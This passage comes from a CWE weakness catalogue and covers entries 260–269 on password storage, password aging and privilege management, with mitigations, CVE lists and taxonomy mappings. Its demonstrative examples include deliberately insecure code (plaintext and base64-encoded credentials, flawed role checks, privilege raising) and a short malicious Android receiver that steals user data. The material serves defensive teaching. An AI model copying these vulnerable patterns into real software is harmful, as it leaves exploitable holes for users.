MemberOf	C	753	2009 Top 25 - Porous Defenses	750	1893
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	1910
MemberOf	C	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	1936
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	1993

Notes

Maintenance

This entry should probably be split into multiple variants: an inbound variant (as seen in the second demonstrative example) and an outbound variant (as seen in the first demonstrative example). These variants are likely to have different consequences, detectability, etc. See extended description.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management: Hard-Coded Password
CLASP			Use of hard-coded password
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
The CERT Oracle Secure Coding Standard for Java (2011)	MSC03-J		Never hard code sensitive information
Software Fault Patterns	SFP33		Hardcoded sensitive data

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-260: Password in Configuration File

Weakness ID : 260 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software stores a password in a configuration file that might be accessible to actors who do not know the password.

Extended Description

This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	522	Insufficiently Protected Credentials	1091
ParentOf	V	13	ASP.NET Misconfiguration: Password in Configuration File	12
ParentOf	V	258	Empty Password in Configuration File	567

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Avoid storing passwords in easily accessible locations.

Phase: Architecture and Design

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

Demonstrative Examples

Example 1:

Below is a snippet from a Java properties file.

Example Language: Java *(bad)*

```
webapp.ldap.username = secretUsername
webapp.ldap.password = secretPassword
```

Because the LDAP credentials are stored in plaintext, anyone with access to the file can gain access to the resource.

Example 2:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Example Language: Java *(bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET *(bad)*

```
...
<connectionStrings>
    <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-13.

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	1854
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management: Password in Configuration File

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

CWE-261: Weak Encoding for Password

Weakness ID : 261 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Obscuring a password with a trivial encoding does not protect the password.

Extended Description

Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	326	Inadequate Encryption Strength	718
ChildOf	B	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855
MemberOf	C	310	Cryptographic Issues	1858

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Passwords should be encrypted with keys that are at least 128 bits in length for adequate security.

Demonstrative Examples

Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

Example Language: Java *(bad)*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = Base64.decode(prop.getProperty("password"));
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone with access to config.properties can read the value of password and easily determine that the value has been base 64 encoded. If a devious employee has access to this information, they can use it to break into the system.

Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

Example Language: C# *(bad)*

```
...
string value = regKey.GetValue(passKey).ToString();
byte[] decVal = Convert.FromBase64String(value);
NetworkCredential netCred = newNetworkCredential(username,decVal.toString(),domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	1854
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1878

Nature	Type	ID	Name	V	Page
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1938

Notes

Other

The "crypt" family of functions uses weak cryptographic algorithms and should be avoided. It may be present in some projects for compatibility.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management: Weak Cryptography
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
55	Rainbow Table Password Cracking

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-262: Not Using Password Aging

Weakness ID : 262 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

If no mechanism is in place for managing password aging, users will have no incentive to update passwords in a timely manner.

Extended Description

Security experts have often recommended that users change their passwords regularly and avoid reusing passwords. Although this can be an effective mitigation, if the expiration window is too short, it can cause users to generate poor or predictable passwords. As such, it is important to discourage creating similar passwords. It is also useful to have a password aging mechanism that notifies users when passwords are considered old and requests that they replace them with new, strong passwords. Companion documentation which stresses how important this practice is can help users understand and better support this approach.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	877
ChildOf	C	287	Improper Authentication	630
PeerOf	B	263	Password Aging with Long Expiration	579
PeerOf	B	309	Use of Password System for Primary Authentication	684
PeerOf	B	324	Use of a Key Past its Expiration Date	715

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *As passwords age, the probability that they are compromised grows.*	

Potential Mitigations

Phase: Architecture and Design

As part of a product's design, require users to change their passwords regularly and avoid reusing previous passwords.

Demonstrative Examples

Example 1:

A system does not enforce the changing of passwords every certain period.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1936

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Not allowing password aging

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
16	Dictionary-based Password Attack
49	Password Brute Forcing

CAPEC-ID	Attack Pattern Name
55	Rainbow Table Password Cracking
70	Try Common or Default Usernames and Passwords

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-263: Password Aging with Long Expiration

Weakness ID : 263 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

Allowing password aging to occur unchecked can result in the possibility of diminished password integrity.

Extended Description

Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	877
ChildOf	C	287	Improper Authentication	630
PeerOf	B	262	Not Using Password Aging	577

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	As passwords age, the probability that they are compromised grows.	

Potential Mitigations

Phase: Architecture and Design

Ensure that password aging is limited so that there is a defined maximum age for passwords and so that the user is notified several times leading up to the password expiration.

Demonstrative Examples

Example 1:

A system requires the changing of passwords every five years.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1936

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Allowing password aging

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
16	Dictionary-based Password Attack
49	Password Brute Forcing
55	Rainbow Table Password Cracking
70	Try Common or Default Usernames and Passwords

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-266: Incorrect Privilege Assignment

Weakness ID : 266 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	269	Improper Privilege Management	589
ParentOf	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	7
ParentOf	V	520	.NET Misconfiguration: Use of Impersonation	1088
ParentOf	V	556	ASP.NET Misconfiguration: Use of Identity Impersonation	1129
ParentOf	V	1022	Use of Web Link to Untrusted Target with window.opener Access	1633
CanAlsoBe	C	286	Incorrect User Management	629

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Demonstrative Examples

Example 1:

Evidence of privilege change:

Example Language: C *(bad)*

```
seteuid(0);
/* do some stuff */
seteuid(getuid());
```

Example Language: Java *(bad)*

```
AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
        // privileged code goes here, for example:
        System.loadLibrary("awt");
        return null;
        // nothing to return
    }
```

Example 2:

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

Example Language: Java *(bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Example Language: Java *(attack)*

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data.

Observed Examples

Reference	Description
CVE-1999-1193	untrusted user placed in unix "wheel" group *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1193*
CVE-2005-2741	Product allows users to grant themselves certain rights that can be used to escalate privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2741*
CVE-2005-2496	Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2496*
CVE-2004-0274	Product mistakenly assigns a particular status to an entity, leading to increased privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0274*

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	1909
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1926
MemberOf	C	1149	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)	1133	1991

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incorrect Privilege Assignment
The CERT Oracle Secure Coding Standard for Java (2011)	SEC00-J		Do not allow privileged blocks to leak sensitive information across a trust boundary
The CERT Oracle Secure Coding Standard for Java (2011)	SEC01-J		Do not allow tainted variables in privileged blocks

References

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

CWE-267: Privilege Defined With Unsafe Actions

Weakness ID : 267 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	269	Improper Privilege Management	589
ParentOf	V	623	Unsafe ActiveX Control Marked Safe For Scripting	1234

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Demonstrative Examples

Example 1:

This code intends to allow only Administrators to print debug information about a system.

Example Language: Java *(bad)*

```
public enum Roles {
    ADMIN,USER,GUEST
}
public void printDebugInfo(User requestingUser){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                System.out.println(currentDebugState());
                break;
        }
    }
    else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those the with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

Observed Examples

Reference	Description
CVE-2002-1981	Roles have access to dangerous procedures (Accessible entities). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1981*
CVE-2002-1671	Untrusted object/method gets access to clipboard (Accessible entities). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1671*
CVE-2004-2204	Gain privileges using functions/tags that should be restricted (Accessible entities). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2204*
CVE-2000-0315	Traceroute program allows unprivileged users to modify source address of packet (Accessible entities). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0315*
CVE-2004-0380	Bypass domain restrictions using a particular file that references unsafe URI schemes (Accessible entities). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0380*
CVE-2002-1154	Script does not restrict access to an update command, leading to resultant disk consumption and filled error logs (Accessible entities). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1154*
CVE-2002-1145	"public" database user can use stored procedure to modify data controlled by the database owner (Unsafe privileged actions). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1145*
CVE-2000-0506	User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0506*
CVE-2002-2042	Allows attachment to and modification of privileged processes (Unsafe privileged actions). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2042*
CVE-2000-1212	User with privilege can edit raw underlying object using unprotected method (Unsafe privileged actions). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1212*
CVE-2005-1742	Inappropriate actions allowed by a particular role(Unsafe privileged actions). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1742*
CVE-2001-1480	Untrusted entity allowed to access the system clipboard (Unsafe privileged actions). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1480*
CVE-2001-1551	Extra Linux capability allows bypass of system-specified restriction (Unsafe privileged actions). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1551*
CVE-2001-1166	User with debugging rights can read entire process (Unsafe privileged actions). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1166*
CVE-2005-1816	Non-root admins can add themselves or others to the root admin group (Unsafe privileged actions). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1816*
CVE-2005-2173	Users can change certain properties of objects to perform otherwise unauthorized actions (Unsafe privileged actions). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2173*
CVE-2005-2027	Certain debugging commands not restricted to just the administrator, allowing registry modification and infoleak (Unsafe privileged actions). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2027*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1926

Notes

Maintenance

This overlaps authorization and access control problems.

Maintenance

Note: there are 2 separate sub-categories here: - privilege incorrectly allows entities to perform certain actions - object is incorrectly accessible to entities with a given privilege

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unsafe Privilege

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
58	Restful Privilege Elevation
634	Probe Audio and Video Peripherals
637	Collect Data from Clipboard
643	Identify Shared Files/Directories on System
648	Collect Data from Screen Capture

References

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

CWE-268: Privilege Chaining

Weakness ID : 268 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	269	Improper Privilege Management	589

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *A user can be given or gain access rights of another user. This can give the user unauthorized access to sensitive information including the access information of another user.*	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Demonstrative Examples

Example 1:

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

Example Language: Java *(bad)*

```
public enum Roles {
    ADMIN,OPERATOR,USER,GUEST
}
public void resetPassword(User requestingUser, User user, String password ){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
```

```
                System.out.println("You are not authorized to perform this command");
                break;
            case USER:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                setPassword(user,password);
                break;
            }
        }
    else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

Observed Examples

Reference	Description
CVE-2005-1736	Chaining of user rights. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1736*
CVE-2002-1772	Gain certain rights via privilege chaining in alternate channel. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1772*
CVE-2005-1973	Application is allowed to assign extra permissions to itself. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1973*
CVE-2003-0640	"operator" user can overwrite usernames and passwords to gain admin privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0640*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1926

Notes

Relationship

There is some conceptual overlap with Unsafe Privilege.

Research Gap

It is difficult to find good examples for this weakness.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Privilege Chaining

References

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

CWE-269: Improper Privilege Management

Weakness ID : 269 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
ParentOf	B	250	Execution with Unnecessary Privileges	547
ParentOf	B	266	Incorrect Privilege Assignment	580
ParentOf	B	267	Privilege Defined With Unsafe Actions	583
ParentOf	B	268	Privilege Chaining	586
ParentOf	B	270	Privilege Context Switching Error	593
ParentOf	C	271	Privilege Dropping / Lowering Errors	595
ParentOf	B	274	Improper Handling of Insufficient Privileges	604
ParentOf	B	648	Incorrect Use of Privileged APIs	1271

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Phase: Architecture and Design

Strategy = Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Demonstrative Examples

Example 1:

This code temporarily raises the program's privileges to allow creation of a new user folder.

Example Language: Python *(bad)*

```
def makeNewUserDir(username):
    if invalidUsername(username):
        #avoid CWE-22 and CWE-78
        print('Usernames cannot contain invalid characters')
        return False
    try:
        raisePrivileges()
        os.mkdir('/home/' + username)
        lowerPrivileges()
    except OSError:
        print('Unable to create new user directory for user:' + username)
        return False
    return True
